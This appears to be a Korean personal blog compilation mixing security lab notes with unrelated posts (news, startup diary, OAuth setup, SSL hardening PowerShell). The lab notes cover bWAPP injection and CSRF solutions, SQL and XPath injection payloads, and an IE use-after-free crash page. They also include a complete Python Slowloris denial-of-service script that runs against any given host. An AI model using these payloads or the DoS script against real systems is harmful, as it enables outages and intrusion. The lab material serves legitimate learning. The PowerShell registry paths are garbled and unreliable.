[bWAPP] PHP Code Injection
A1 - Injection
PHP Code Injection
해당 소스는 eval 로 되어 있다.
php 함수를 모두 사용 가능하다.
<p><i><?php @eval ("echo " .$_REQUEST["message"] . ";");?></i></p>
[C] asc2hex
[bWAPP] Insecure DOR (Order Tickets)
A4 - Insecure Direct Object References
Insecure DOR (Order Tickets)
hidden 필드의 15eur을 변조하여 시도한다.
medium level에서는 post 파라미터에 ticket_price를 추가한다.
[bWAPP] Insecure DOR (Change Secret/Reset Secret)
A4 - Insecure Direct Object References
Insecure DOR (Change Secret)
POST 파라미터로 전송되는 login 값을 수정한다.
XML 에 포함된 login 값을 수정한다.
[bWAPP] Base64 Encoding (Secret)
A6 - Sesitive Data Exposure
Base64 Encoding (Secret)
cookie 값을 url decode 하여, base64decode 해본다.
[bWAPP] SQL Injection (GET/Search)
A1 - Injection
SQL Injection (GET/Search)
컬럼명을 담고 있는 db의 table로 접근해 SQL Injection 공격을 해볼 수 있다.
Iron Man' union select 1,1,1,column_name,1,1,1 from information_schema.columns;#
[bWAPP] XML/XPath Injection (Search)
A1 - injection
XML/XPath Injection (Search)
~/bWAPP/xmli_2.php?genre=action%27)]/password%20|%20//hero[contains(genre,%20%27horror&action=search
genre=action')]/password | //hero[contains(genre,'horror
'|' 를 이용해 앞 단에 password 노드를 출력하도록 입력하고 뒤에는 오류가 나지 않도록 완성시킨다.
[bWAPP] CSRF (Change Password)
A8 - Cross Site Request Forgery
CSRF (Change Password)
패스워드 변경 경로를 삽입하여 타 계정으로 로그인한 사용자의 비밀번호를 변경한다.
이체 경로를 삽입하여 상대방 계좌의 금액을 차감 한다.
[C#] dll 변조
C#으로 된 dll은 reflector로 decompile 한 코드를 확인하고,
IDA 로 HEX 위치를 확인해,
ULTRA EDIT로 편집해 변조(패치) 가능하다.
C# DLL이 포함된 모바일 앱(안드로이드 apk)의 경우 이런 식으로 가공하면, 설치 후 사용할 수 있다..
[XSS] 익스플로러 취약점을 이용한 클라이언트 공격
Post-mortem Analysis of a Use-After-Free Vulnerability (CVE-2011-1260)
로 제목이 되어있고, http://www.exploit-monday.com/2011/07/post-mortem-analysis-of-use-after-free_07.html
에 소개되어 있다.
<html>
<body>
<script language='javascript'>
document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>";
document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
document.body.innerHTML += "AAAAAAA";
document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
</script>
</body>
</html>
위 코드가 있는 페이지에 접속하면 ie에 오류를 일으킬 수 있고, 영문 XP pro 에서는 다운까지 시킬 수 있다고 한다.
이거 말고도, 쉘 탈취도 있는데, http://vimeo.com/10171900
동영상을 참고할 수 있다.
XSS 가 세션, 쿠키 탈취, CSRF 정도만 되는 줄 알았는데, 쉘탈취 까지 될 줄이야....
[Perl] RUDY, Slowloris 공격
http://advent.perl.kr/2012/2012-12-17.html
DoS 공격 중 탐지하기 어려워 방어가 용이하지 않은 slowloris 공격이 있다.
해당 공격 패킷을 Perl 로 작성한 예가 있는데, 직접 테스트 해 보았다.
$ sudo cpan IO::Socket::INET IO::Socket::SSL Devel::Trace::More
참조 경로에는 상기 명령어로 관련 라이브러리를 설치한다.
cpan 이나 필요한 것들이 있으면 더 설치한다.(OS 상황마다 다를 것이다.)
# ./app.pl -dns [타겟ip] -num [세션수] -timeout [유휴시간]
을 입력하면 문자열로 로고 비슷한 글자들이 출력되며 패킷 관련 내용이 출력된다.
와이어 샤크로 캡처해 보면, 새로운 세션들로(포트 번호가 증가하며) 접속 패킷이 전송된다.
웹서버에서도 netstat 로 여러 포트들이 연결되어 있는 것의 확인이 가능하다.
실제 공격은 불법이므로, 가상머신에서 테스트 해 보았다.
서버에서 허용된 세션 수를 초과하면 더 이상 접속되지 않는 것을 확인하였다.
[python]
import socket, random, time, sys
headers = [
"User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Accept-language: en-US,en"
]
sockets = []
def setupSocket(ip):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(4)
sock.connect((ip, 80))
sock.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 1337)).encode("utf-8"))
for header in headers:
sock.send("{}\r\n".format(header).encode("utf-8"))
return sock
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Use it like this: python {} example.com".format(sys.argv[0]))
sys.exit()
ip = sys.argv[1]
count = 200
print("Starting DoS attack on {}. Connecting to {} sockets.".format(ip, count))
for _ in range(count):
try:
print("Socket {}".format(_))
sock = setupSocket(ip)
except socket.error:
break
sockets.append(sock)
while True:
print("Connected to {} sockets. Sending headers...".format(len(sockets)))
for sock in list(sockets):
try:
sock.send("X-a: {}\r\n".format(random.randint(1, 4600)).encode("utf-8"))
except socket.error:
sockets.remove(sock)
for _ in range(count - len(sockets)):
print("Re-opening closed sockets...")
try:
sock = setupSocket(ip)
if sock:
sockets.append(sock)
except socket.error:
break
time.sleep(15)
[bWAPP] XML/XPath Injection (Login Form)
A1 - Injection
XML/XPath Injection (Login Form)
로그인 ID, PW 에 ' or '1'='1 을 넣으면 된다.
selene, Thor, johnny, wolverine, alice
wolverine' or 'a'='a--
[oAuth2] 구글 스프레드시트 접근
기존 data query 로 visualization 을 사용하던 코드에서
Error in query: ACCESS_DENIED. This spreadsheet is not publicly viewable and requires an OAuth credential.
상기와 같은 에러가 발생한다면, 아래를 통해 authorization 관련 내용을 추가해야 한다.
https://developers.google.com/chart/interactive/docs/spreadsheets
demo.html, demo.js 로 적용 가능하며, 개발자 콘솔에서 client id를 생성하여 해당 문서들에 적용해야 한다.
1) 프로젝트가 없다면 생성
2) 사용자 인증정보 선택
3) 사용자 인증정보 만들기 - OAuth 2.0 클라이언트 ID
도메인 입력(최상단 도메인으로 하면 된다.)
demo.js 의 makeApiCall() 함수에서 oauth2 라는 전역 변수에 추가 파라미터를 입력하고
기존 visualization data query 호출 경로에 access_token 파라미터가 추가되도록 했다.
var srUrl = "https://docs.google.com/spreadsheets/d/[SS경로]/gviz/tq?gid=0"+oauth2;
PSAT(Public Service Aptitude Test)
공기업 채용때 PSAT 도입
[서울신문]이르면 올 하반기부터 공공기관 채용시험에도 공직적성평가(PSAT)가 도입될 전망이다.
또 PSAT와 같은 직무능력 검사 비중이 높아지고, 토익·토플 등 어학 성적 비중은 떨어진다.
기획예산처는 1일 이같은 내용의 ‘공공기관 채용방식 개선방안’을 마련, 올 하반기부터 적용한다고 밝혔다.
대상 기관은 우선 101개 공기업·준정부기관이며,197개 기타공공기관으로도 확대할 계획이다.
개선 방안에 따르면 어학 성적은 지원을 위한 최소한의 자격 기준으로만 활용된다. 어학시험 성적이 최종 합격의 결정적 기준이 되면 우수한 인재를 놓칠 수 있다는 판단에서다.
대신 직무능력검사가 도입되고, 면접이 강화된다. 특히 직무능력 검사과목으로는 PSAT 또는 PSAT와 유사한 모델이 검토되고 있다.
기획처 관계자는 “중앙인사위원회와 협의를 거쳐 이르면 올 하반기부터 희망 기관에 한해 PSAT를 활용할 수 있도록 지원할 계획”이라면서 “이와는 별도로 PSAT와 유사한 형태의 직무능력검사 모델 개발도 검토할 것”이라고 설명했다.
또 각 기관들은 국가 유공자, 장애인, 여성, 지방 인재 등에 대한 목표 채용 비율을 스스로 설정, 준수토록 할 방침이다. 이와 함께 오는 6월 말까지 각 기관들은 올 하반기 채용 규모·시기·방법 등의 정보를 ‘공공기관 경영정보 공개시스템’에 공개한다.
장세훈기자 shjang@seoul.co.kr
■ 용어 클릭
●PSAT(Public Service Aptitude Test) 공직 수행에 필요한 기본 지식과 소양, 자질 등을 평가하는 시험이다.2004년 외무고시 1차시험에 처음 적용됐으며, 올해부터 행정·외무·입법고시 등 모든 국가고시 1차 시험에도 채택됐다. 언어논리·자료해석·상황판단 등 3개 영역으로 구성돼 있다.
창업일지 - 창업경진대회 출전
정보통신벤처창업경진대회에 많은 관심과 성원을 보내주셔서 대단히 감사드립니다.
지난 3월 14일에 마감된 제안서 대상으로, 3월 27일 전문심사위원 28명의 심사결과, 107명이 1차 선발되었습니다.<붙임 참조> 1차 선발된 107명은 4월 14일~17일(3박4일) 창업예비교육에 반드시 참석하여 주시기 바랍니다.(팀원 및 대리참석 가능)
o 1차 창업 아이템 제안서 심사결과
- 멀티미디어컨텐츠 분과 : 접수 58편, 1차 합격 29편
- 정보통신서비스 분과 : 접수 116편, 1차 합격 29편
- 소프트웨어 분과 : 접수 57편, 1차 합격 24편
- 기기및부품 분과 : 접수 73편, 1차 합격 25편
o 1차 합격자는 5月 5日까지 사업계획서를 제출 하시기 바랍니다.
<창업예비교육 개최 안내> o 1차 선발자 대상 교육
- 기간 : 2008. 4. 14(월)~ 17(목)(3박4일)
- 장소 : 충주 건설경영연수원
- 참가대상 : 1차 선발자 107명
- 팀당 2명까지 신청 가능합니다.
* 1차 선발자에 한하여 교육 프로그램 및 일정을 이메일로 연락드릴 예정입니다.
*** 일부 지원자 중 접수분과와 상의한 이유는 '08. 3. 19 개최 된 지원분야 재분류 회의에 따라 변동이 되었습니다.
[backtrack] ms10_065_ii6_asp_dos
iis 6.0 취약점을 이용한 공격
<%
Dim variable
variable = Request.Form("FOOBAR")
%
위와 같이 변수 받는 내용이 있는 페이지여야 하며, 아래와 같이 RHOST와 URI 설정 후 run을 한다.
URI default 값은 page.asp 이다.
Microsoft IIS 6.0 ASP Stack Overflow (Stack Exhaustion) Denial of Service (MS10-065) 를 참고했다.
창업일지 - 면허세 납부
2. 1종 통신판매업
아직 수입이 없는데 세금만 내고 있다.
etax 사이트에서 바로 조회가 되고, 보안카드 없이 인증서로만 은행계좌 연동후 결제가 가능하다. 액티브 x의 압박이 있으나, 견딜만 하다.
아, 세....
zbxe 작업일지(10일차)
- 검색결과를 보여주고, 결과로 나온 유저의 플랜 링크 수정
2. planning.php와 xe_official 내용 수정
- 합성도 보기 메뉴와 mid값에 따른 보여주기 결과 표시.
3. simple.php 수정
- vector의 색을 설정 값에 따른 색으로 보여줌.
[SSL] SSL 설정 파워쉘 스크립트
4년 전 거라 조금 수정이 필요한 부분이 있다.
키 교환의 Diffie-Hellman는 0000000000 으로
TLS 1.3의 출시로 SSL ROBOT이 주목되는지는 모르겠지만, 키 교환과 암호화 방식, 검증 방식에 대해 가장 잘 설명된 그림을 찾았다.
윈도우즈 설정 참고 사이트
https://support.microsoft.com/ko-kr/help/245030/how-to-restrict-the-use-of-certain-cryptographic-algorithms-and-protoc
TLS 1.0과 RSA가 키교환 알고리즘으로 사용되는 서버의 예이다.
아래 파워쉘 스크립트를 이용해 설정을 보완할 수 있는데, 선택적으로 필요한 것을 적용하면, 취약점 제거에 용이할 것이다.
공개 키 암호 표준(Public-Key Cryptography Standard, PKCS)은 RSA 시큐리티에서 정한, 공개 키 암호에 대한 사용 방식에 대한 표준 프로토콜이다.
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELKeyExchangeAlgorithmsPKCS' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELKeyExchangeAlgorithmsPKCS' -name Enabled -value '0x00000000' -PropertyType 'DWord' -Force
$cipherSuitesOrder = @( 'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P521', 'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384', 'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256', 'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P521', 'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P384', 'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P256', 'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P521', 'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P521', 'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P384', 'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P256', 'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P384', 'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P256', 'TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384_P521', 'TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384_P384', 'TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P521', 'TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P384', 'TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P256', 'TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384_P521', 'TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384_P384', 'TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P521', 'TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P384', 'TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P256', 'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P521', 'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P384', 'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P256', 'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P521', 'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P384', 'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P256','TLS_RSA_WITH_AES_256_CBC_SHA256','TLS_RSA_WITH_AES_256_CBC_SHA','TLS_RSA_WITH_AES_128_CBC_SHA256','TLS_RSA_WITH_AES_128_CBC_SHA')
$cipherSuitesAsString = [string]::join(',', $cipherSuitesOrder)
New-ItemProperty -path 'HKLM:SOFTWAREPoliciesMicrosoftCryptographyConfigurationSSL�0010002' -name 'Functions' -value $cipherSuitesAsString -PropertyType 'String' -Force | Out-Null
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.0Server' -name 'Enabled' -value '0x00000000' -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.0Server' -name 'DisabledByDefault' -value 1 -PropertyType 'DWord' -Force
기존 파워쉘 스크립트는 오래되어 수정이 필요하다.
https://gist.github.com/matejskubic/10268126
### http://www.hass.de/content/setup-your-iis-ssl-perfect-forward-secrecy-and-tls-12 # Add and Enable SSL 3.0 for client and server SCHANNEL communications md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 3.0' -Force md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 3.0Server' -Force New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 3.0Server' -name 'Enabled' -value '0xffffffff' -PropertyType 'DWord' -Force New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 3.0Server' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force # Add and Enable TLS 1.0 for client and server SCHANNEL communications md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.0' -Force md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.0Server' -Force New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.0Server' -name 'Enabled' -value '0xffffffff' -PropertyType 'DWord' -Force New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.0Server' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force # Add and Enable TLS 1.1 for client and server SCHANNEL communications md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1' -Force md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1Server' -Force md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1Client' -Force New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1Server' -name 'Enabled' -value '0xffffffff' -PropertyType 'DWord' -Force New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1Server' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1Client' -name 'Enabled' -value 1 -PropertyType 'DWord' -Force New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1Client' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force # Add and Enable TLS 1.2 for client and server SCHANNEL communications md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2' -Force md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2Server' -Force md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2Client' -Force New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2Server' -name 'Enabled' -value '0xffffffff' -PropertyType 'DWord' -Force New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2Server' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2Client' -name 'Enabled' -value 1 -PropertyType 'DWord' -Force New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2Client' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force # Disable Multi-Protocol Unified Hello md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsMulti-Protocol Unified HelloServer' -Force New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsMulti-Protocol Unified HelloServer' -name Enabled -value 0 -PropertyType 'DWord' -Force # Disable PCT 1.0 md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsPCT 1.0' -Force md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsPCT 1.0Server' -Force New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsPCT 1.0Server' -name Enabled -value 0 -PropertyType 'DWord' -Force # Disable SSL 2.0 (PCI Compliance) md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 2.0Server' -Force New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 2.0Server' -name Enabled -value 0 -PropertyType 'DWord' -Force #DO NOT USE FOR NOW # # WARNING: Notice I didn't turn off SSL 3.0 - the reason for this is due to the fact that, like it or not, # there are still people out there using Windows XP with IE 6/7. Without SSL 3.0 enabled, there would be # no protocol for those people to fall back on. # Disable SSL 3.0 (PCI Compliance) # #md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 3.0Server' -Force #New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 3.0Server' -name Enabled -value 0 -PropertyType 'DWord' -Force # Disable insecure ciphers $insecureCiphers = 'NULL','RC2 40/128','RC2 56/128','RC2 128/128','RC4 40/128','RC4 56/128','RC4 64/128','DES 56/56' Foreach ($insecureCipher in $insecureCiphers) { $key = (Get-Item HKLM:).OpenSubKey('SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELCiphers', $true).CreateSubKey($insecureCipher) $key.SetValue('Enabled', 0, 'DWord') $key.close() Write-Host "$insecureCipher has been disabled" } # Enable new secure ciphers $insecureCiphers = 'RC4 128/128','Triple DES 168/168','AES 128/128','AES 256/256' Foreach ($insecureCipher in $insecureCiphers) { $key = (Get-Item HKLM:).OpenSubKey('SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELCiphers', $true).CreateSubKey($insecureCipher) New-ItemProperty -path "HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELCiphers$insecureCipher" -name 'Enabled' -value '0xffffffff' -PropertyType 'DWord' -Force $key.close() Write-Host "$insecureCipher has been enabled" } # Set hashes configuration md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELHashesMD5' -Force New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELHashesMD5' -name Enabled -value '0xffffffff' -PropertyType 'DWord' -Force md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELHashesSHA' -Force New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELHashesSHA' -name Enabled -value '0xffffffff' -PropertyType 'DWord' -Force # Set KeyExchangeAlgorithms configuration md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELKeyExchangeAlgorithmsDiffie-Hellman' -Force New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELKeyExchangeAlgorithmsDiffie-Hellman' -name Enabled -value '0xffffffff' -PropertyType 'DWord' -Force md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELKeyExchangeAlgorithmsPKCS' -Force New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELKeyExchangeAlgorithmsPKCS' -name Enabled -value '0xffffffff' -PropertyType 'DWord' -Force # Set cipher suites order as secure as possible (Enables Perfect Forward Secrecy) New-ItemProperty -path 'HKLM:SOFTWAREPoliciesMicrosoftCryptographyConfigurationSSL�0010002' -name 'Functions' -value 'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P521,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P521,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P384,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P256,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P521,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P521,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P384,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P256,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P384,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P256,TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384_P521,TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384_P384,TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P521,TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P384,TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P256,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384_P521,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384_P384,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P521,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P384,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P256,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P521,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P384,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P256,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P521,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P384,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P256,TLS_DHE_DSS_WITH_AES_256_CBC_SHA256,TLS_DHE_DSS_WITH_AES_256_CBC_SHA,TLS_DHE_DSS_WITH_AES_128_CBC_SHA256,TLS_DHE_DSS_WITH_AES_128_CBC_SHA,TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA,TLS_RSA_WITH_AES_256_CBC_SHA256,TLS_RSA_WITH_AES_256_CBC_SHA,TLS_RSA_WITH_AES_128_CBC_SHA256,TLS_RSA_WITH_AES_128_CBC_SHA,TLS_RSA_WITH_RC4_128_SHA,TLS_RSA_WITH_3DES_EDE_CBC_SHA' -PropertyType 'String' -Force Write-Host 'After the system has been rebooted you can verify your server configuration at https://www.ssllabs.com/ssltest/' Write-Host -ForegroundColor Red 'A computer restart is required to apply settings. Restart computer now?' Restart-Computer -Force -Confirm